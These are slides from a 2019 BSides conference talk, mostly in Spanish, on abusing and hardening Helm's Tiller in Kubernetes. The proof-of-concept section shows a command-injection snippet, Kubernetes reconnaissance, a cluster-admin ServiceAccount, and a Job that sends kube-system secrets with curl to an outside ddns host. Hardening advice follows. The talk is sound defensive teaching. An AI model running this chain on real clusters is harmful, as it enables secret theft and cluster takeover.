# whoami preventing attacks to helm on k8s martin cruz ......despliegue y funcionamiento de pods....
TRANSCRIPT
Preventing attacks to Helm on K8s
/# whoamiMartin Cruz
/# which3XM Group
/# whereisBSides 2019 - Córdoba - Argentina
bit.ly/2I3j8u8
Contact
@tinplinplin
@Martin_3XM
Roadmap
Preventing_attacks_to_Helm_on_K8s/
├── Kubernetes
│ ├── Concepts
│ └── Helm
├── Context
├── Attack_Surface
├── POC
│ ├── Walkthrough
│ └── Demo
├── Hardening
└── Resources
Kubernetes (K8s)
Sistema open-source creado por Google para la automatización de despliegues, escalamiento y management de aplicaciones.
Concepts
Los objetos de Kubernetes son entidades persistentes dentro del sistema. Kubernetes utiliza estas entidades para representar el estado del cluster.
Objects
● Pod● Service● Volume● Namespace
Concepts
Los controladores son capas de abstracción que proveen funcionalidad y controlan que los objetos alcancen el estado deseado.
Controllers
● ReplicaSet● Deployment● StatefulSet● DaemonSet● Job
K8s Cluster ServicesControl Plane
● API Server● Scheduler● Controller Manager
Add Ons
● Image Registry● Dashboard
API Server
Componente principal del Master Node. Dirige al resto de los componentes (Scheduler, Controller Manager).
Nodes
VM o máquina física que contiene servicios imprescindibles (container runtime, kubelet, kube-proxy) para el despliegue y funcionamiento de pods.
Kubelet
Componente principal en los Worker Nodes. Actúa como bridge entre el API Server del Control Plane y el container runtime de cada nodo.
Helm
Package manager para K8s. Del mismo modo que apt, yum o dnf, sirve para automatizar procesos de instalación, configuración y upgrading utilizando charts como un set de
recursos.
Chart
Package de Helm que contiene información suficiente para instalar un conjunto de recursos de Kubernetes en un cluster.
Tiller
Server side de Helm client. Interactúa de manera directa con la interfaz API de Kubernetes. Es conocido como “a giant sudo server”.
Free as a bird
Nuevos paradigmas requieren nuevas soluciones. Palabras como escalabilidad, HA y eficiencia son una constante. Ciertos conceptos, cercanos a integración o despliegue continuo de aplicaciones (llevados al extremo) frecuentemente restan visibilidad sobre las plataformas.
Really?
Tesla K8s hack
En 2018, una investigación RedLock CSI reveló que Tesla había sido víctima de cryptojacking. A través de servicios expuestos podía accederse a datos sensibles, como keys de entornos
cloud.
Facts
El incremento exponencial de tecnologías de contenedores y orquestadores, es un hecho. Como también lo es que nuevos issues de seguridad surgen, también
exponencialmente, a partir de su uso.
New surface, new vectors?Container Escape
Instance Metadata
mknod
/var/run/docker.sock
chroot mount
kubelet
TLS bootstrapping
cluster
node
Default surface, default vectors
Privileged users
RBACVulnerable Images
Network Isolation
PodSecurityPolicyDefault Permissions
Attack-driven hardening
The best defense is a good offense
Abusing Tiller - attack flow
Desde una aplicación node.js previamente vulnerada, desplegamos charts que contienen jobs para dumpear secrets del namespace `kube-system`.
Abusing Tiller - vuln application
Code snippet (core/appHandler.js) que permite explotar el vector command injection.
const exec = require('child_process').exec;...exec('ping -c 2 '+ req.body.address, function(err,stdout,stderr){ console.log(err) output = stdout + stderr
Abusing Tiller - walkthrough
Variables que indican que el contenedor vulnerado está corriendo en un entorno orquestado por Kubernetes.
env | grep -i kubeKUBERNETES_PORT=tcp://172.21.0.1:443KUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_HOST=172.21.0.1KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP_ADDR=172.21.0.1KUBERNETES_PORT_443_TCP=tcp://172.21.0.1:443
Abusing Tiller - cont.
Debido a la presencia de role-based access controls (o RBACs) no es posible conectar sin autenticación con la interfaz API del Master Node.
curl -k https://172.21.0.1/api/v1/namespaces/default/pods{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "pods is forbidden: User \"system:anonymous\" cannot list pods in the namespace \"default\"", "reason": "Forbidden", "details": { "kind": "pods" }, "code": 403
Abusing Tiller - cont.
Por defecto, Kubernetes usa `kube-dns` para service-discovery. Los FQDNs se construyen utilizando la nomenclatura
<svc_name>.<namespace>.svc.cluster.local.
cat /etc/resolv.confsearch default.svc.cluster.local svc.cluster.local cluster.localnameserver 172.21.0.10options ndots:5
getent hosts kube-dns.kube-system.svc.cluster.local172.21.0.10 kube-dns.kube-system.svc.cluster.local
getent hosts tiller-deploy.kube-system.svc.cluster.local172.21.49.102 tiller-deploy.kube-system.svc.cluster.local
Abusing Tiller - cont.
El pod tiller-deploy recibe requests desde el client-side de Helm en el puerto 44134 (gRPC). Dentro del cluster esta interacción es posible de manera directa.
curl tiller-deploy.kube-system.svc.cluster.local curl: (7) Failed to connect to tiller-deploy.kube-system.svc.cluster.local port 80: Connection timed out
curl tiller-deploy.kube-system.svc.cluster.local:44134curl: (56) Recv failure: Connection reset by peer
Abusing Tiller - cont.
De forma predeterminada, Tiller no requiere ninguna autenticación para la comunicación a través de gRPC. En implementaciones default podemos, esencialmente, ejecutar comandos de
Helm con privilegios elevados.
curl -L "https://storage.googleapis.com/kubernetes-helm/helm-v2.10.0-linux-amd64.tar.gz" | tar xz --strip-components=1 -C . linux-amd64/helm % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 8991k 100 8991k 0 0 20.9M 0 --:--:-- --:--:-- --:--:-- 20.9M
./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 lsError: incompatible versions client[v2.10.0] server[v2.8.2]
Abusing Tiller - cont.
Con Helm podemos crear una cuenta de servicio privilegiada para extraer secrets. Son necesarios una nueva ServiceAccount y un nuevo ClusterRoleBinding.
---apiVersion: v1kind: ServiceAccountmetadata: name: tiller-test namespace: kube-system---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: tiller-testroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-adminsubjects: - kind: ServiceAccount name: tiller-test namespace: kube-system
Abusing Tiller - cont.
Lo generado en el paso previo se adjunta a un nuevo Job que extrae todos los secrets, a través de la API, de un determinado namespace.
---apiVersion: batch/v1kind: Jobmetadata: name: tiller-test namespace: kube-systemspec: template: spec: serviceAccountName: tiller-test containers: - name: tiller-test image: rflathers/kubectl:bash command: - ["/bin/bash","-c","kubectl get secrets --namespace=kube-system -o json | curl -XPUT -Ffile=@- http://tiller-test.ddns.net:25478/files/test?token=p4wn3d"] restartPolicy: Never
Abusing Tiller - demo
Cluster - get all roles
Cluster - get all pods
Default effects
default values in early use, tend to remain in use!
Don’t be defined by default
Securing Helm
La implementaciones predefinidas no aplican políticas de seguridad específicas relativas a Tiller. Para securizar estas instalaciones, deberían considerarse los siguientes aspectos:
● Role-based access control (RBAC)
● Tiller's gRPC endpoint● Tiller release information● Helm charts
RBAC
En reemplazo de roles de cluster, se pueden definir roles y bindings específicos para limitar el alcance de Tiller a un namespace particular (restringido a la implementación de recursos sólo en ese namespace) o implementar recursos en namespaces diferentes.
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: tiller-manager namespace: tiller-worldrules:- apiGroups: ["", "batch", "extensions", "apps"] resources: ["*"] verbs: ["*"]---kind: RoleBindingapiVersion: rbac.authorization.k8s.io/v1metadata: name: tiller-binding namespace: tiller-worldsubjects:- kind: ServiceAccount name: tiller namespace: tiller-worldroleRef: kind: Role name: tiller-manager apiGroup: rbac.authorization.k8s.io
gRPC Endpoint
Sin mecanismos de autenticación predeterminados, cualquier proceso en el clúster puede comunicarse con Tiller vía gRPC, ejecutando operaciones dentro del clúster. Para evitarlo, deben considerarse los siguientes puntos:
● Enabling TLS (mTLS)
● Running Tiller locally (Tillerless -
Helm v3)
Going further
● Segmentar Tiller por medio de “tenants”.
● Utilizar ServiceAccounts específicas.
● Implementar controles de acceso basados en roles (RBAC).
o simplemente, ser Tillerless.
You've Got a Friend in Me
Service Mesh: paradigma que permite abstraer la granularidad de servicios facilitando acciones tales como control de tráfico, control de acceso, fault tolerance, load balancing, monitoreo, end-to-end security policy enforcement, etc.
Hardening tips1. Use the latest stable K8s version
2. Audit the OS, container runtime, and
K8s configuration using tools like
kube-auto-analyzer and kube-bench
3. Log everything to a location outside
the Cluster
4. Use private registries, and restrict
public registry usage
5. Scan all images for security
vulnerabilities continuously using
tools like CoreOS Clair
6. Maintain standard base images and
ensure that all workloads use them
7. Do NOT run containers as `root` user
1. API Server
`--authorization-mode=Node,RBAC`
2. Ensure all services are protected by
mTLS
3. Ensure kubelet protects its API via
`--authorization-mode=Webhook`
4. Closely monitor all RBAC policy
failures
5. Remove default ServiceAccount
permissions
Hardening tips - cont.1. Filter access to the cloud provider
metadata APIs/URL, and limit IAM
permissions
2. Use a CNI network plugin that filters
ingress/egress pod network traffic:
a.Properly label all pods
b.Isolate all workloads from each
other
c.Prevent workloads from egressing to
the Internet, the Pod IP space, the
Node IP subnets, and/or other internal
networks
d.Restrict all traffic coming into the
kube-system namespace except kube-dns
1. Namespaces per tenant
2. Default network “deny” inbound on all
namespaces
3. Set
`automountServiceAccountToken:false`
on pods where possible
4. Use a PodSecurityPolicy to enforce
container restrictions
5. Separate clusters for dev, test and
production environments
Resources
● Istio: github.com/istio/ istio
● DAST: github.com/zaproxy/ zaproxy
● SAST: github.com/SonarSource/ sonarqube
● Container-Scan: github.com/coreos/ clair
● Tillerless Helm: github.com/rimusz/ helm-tiller
● Kube-Scan: github.com/aquasecurity/ kube-hunter
● Kube-Sec: github.com/stefanprodan/ kubectl-kubesec
● RBAC Charts: github.com/mmerrill3/ helm-security-demo
“make clusterssecure by default”